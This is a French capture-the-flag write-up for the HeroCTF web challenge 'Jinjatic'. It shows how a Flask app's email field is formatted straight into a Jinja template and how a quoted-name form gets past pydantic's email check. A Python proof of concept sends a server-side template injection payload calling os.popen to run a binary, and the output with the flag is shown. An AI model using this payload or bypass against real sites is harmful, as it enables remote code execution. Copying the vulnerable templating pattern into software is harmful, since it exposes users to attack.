Énoncé

A platform that allows users to render welcome email’s template for a given customer, sounds great no ?

Deploy on deploy.heroctf.fr

Format : Hero{flag} Author : Worty

Aperçu

Pour ce challenge web, voici les fichiers sources fournis :

.
├── challenge.yml
├── dist
│   └── jinjatic.tar.xz
├── docker-compose.yml
├── Makefile
├── README.md
└── src
    ├── challenge
    │   ├── app.py
    │   ├── requirements.txt
    │   └── templates
    │       ├── home.html
    │       ├── mail.html
    │       └── result.html
    ├── Dockerfile
    ├── flag.txt
    └── getflag.c

5 directories, 13 files

Le site web est simple, il y a peu d’éléments. Seulement un formulaire dans /main qui prend une adresse mail et le reflète dans la page. Une vérification est faite côté backend, pour s’assurer que la valeur envoyé correspond bien au format d’une adresse mail.

Pour récupérer le flag, il va falloir RCE pour exécuter le binaire getflag.

Résolution

Afin de résoudre ce challenge, il va falloir trouver comment bypass la vérification sur le format de l’adresse mail. Ensuite il suffit d’exploiter une SSTI pour RCE.

Server Side Template Injection

Pour commencer, si on observe le code de l’application, on se rend vite compte qu’une SSTI est possible :

email_template = '''
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Email Result</title>
    <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
    <div class="container mt-5">
        <div class="alert alert-success text-center">
            <h1>Welcome on the platform !</h1>
            <p>Your email to connect is: <strong>%s</strong></p>
        </div>
        <a href="/mail" class="btn btn-primary">Generate another welcome email</a>
    </div>

    <script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
'''

...

@app.route('/render', methods=['POST'])
def render_email():
    email = request.form.get('email')

    try:
        email_obj = EmailModel(email=email)
        return Template(email_template%(email)).render()
    except ValidationError as e:
        return render_template('mail.html', error="Invalid email format.")

La valeur de la variable email est placé dans email_template et est ensuite rendu, il est donc possible d’envoyer par exemple {{ 7*7 }}@mail.com et le rendu affichera [email protected]. Cependant, le fait que la variable email passe par la classe EmailModel(), crée une erreur lorsque l’on commence à mettre des guillemets ou des parenthèses.

Analyse et bypass de la classe EmailModel

Pour éviter de trigger l’erreur et pour qu’on puisse utiliser les parenthèses, ainsi que les guillemets afin d’exécuter une payload pour RCE via la SSTI. Il va falloir trouver l’endroit où le check sur le format de l’email est effectué dans la classe EmailModel ou plutôt dans EmailStr.

Si on suit un peu le code, on tombe dans la classe EmailStr, puis dans _validate() et dans validate_email(). Dans cette fonction on y retrouve ces lignes :

m = pretty_email_regex.fullmatch(value) # value = email
name: str | None = None
if m:
    unquoted_name, quoted_name, value = m.groups()
    name = unquoted_name or quoted_name

    email = value.strip()

try:
    parts = email_validator.validate_email(email, check_deliverability=False)
except email_validator.EmailNotValidError as e:
    raise PydanticCustomError(
        'value_error', 'value is not a valid email address: {reason}', {'reason': str(e.args[0])}
    ) from e

On comprend que pour éviter de trigger une erreur, en utilisant les guillemets ou les parenthèses, il faut match le groupe quoted_name. La regex à matcher se situe dans pretty_email_regex :

def _build_pretty_email_regex() -> re.Pattern[str]:
    name_chars = r'[\w!#$%&\'*+\-/=?^_`{|}~]'
    unquoted_name_group = rf'((?:{name_chars}+\s+)*{name_chars}+)'
    quoted_name_group = r'"((?:[^"]|\")+)"'
    email_group = r'<\s*(.+)\s*>'
    return re.compile(rf'\s*(?:{unquoted_name_group}|{quoted_name_group})?\s*{email_group}\s*')


pretty_email_regex = _build_pretty_email_regex()

Lorsque l’on match quoted_name_group, il faut aussi matcher avec email_group. Le bon format à utiliser est donc celui ci : "(SSTI)" <[email protected]>.

Exploitation

Maintenant qu’on peut utiliser les parenthèses et les guillemets, il ne manque plus qu’à récupérer un payload SSTI pour RCE, ceux sur Hacktricks par exemple.

PoC :

import requests
url = 'http://dyn03.heroctf.fr:14993/render'
payload = """{{cycler.__init__.__globals__.os.popen('../getflag').read()}}"""
r = requests.post(url, data={'email': f'"({payload})" <[email protected]>'})
print(r.text)

Résultat :

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Email Result</title>
    <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
    <div class="container mt-5">
        <div class="alert alert-success text-center">
            <h1>Welcome on the platform !</h1>
            <p>Your email to connect is: <strong>"HERO{f815460cee723a7d1ba1f0a70f68482c}" <[email protected]></strong></p>
        </div>
        <a href="/mail" class="btn btn-primary">Generate another welcome email</a>
    </div>

    <script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>

Flag : HERO{f815460cee723a7d1ba1f0a70f68482c}

Référence